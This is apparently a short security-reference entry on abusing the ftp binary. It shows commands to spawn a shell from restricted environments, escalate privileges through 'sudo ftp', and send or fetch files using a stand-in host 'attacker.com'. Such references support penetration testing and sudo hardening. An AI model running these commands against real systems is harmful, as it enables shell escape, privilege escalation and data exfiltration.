It can be used to break out from restricted environments by spawning an interactive system shell.
ftp
!/bin/sh
It can exfiltrate files on the network.
Send local file to a FTP server.
RHOST=attacker.com
ftp $RHOST
put file_to_send
It can download remote files.
Fetch a remote file from a FTP server.
RHOST=attacker.com
ftp $RHOST
get file_to_get
If the binary is allowed to run as superuser by sudo
, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.
sudo ftp
!/bin/sh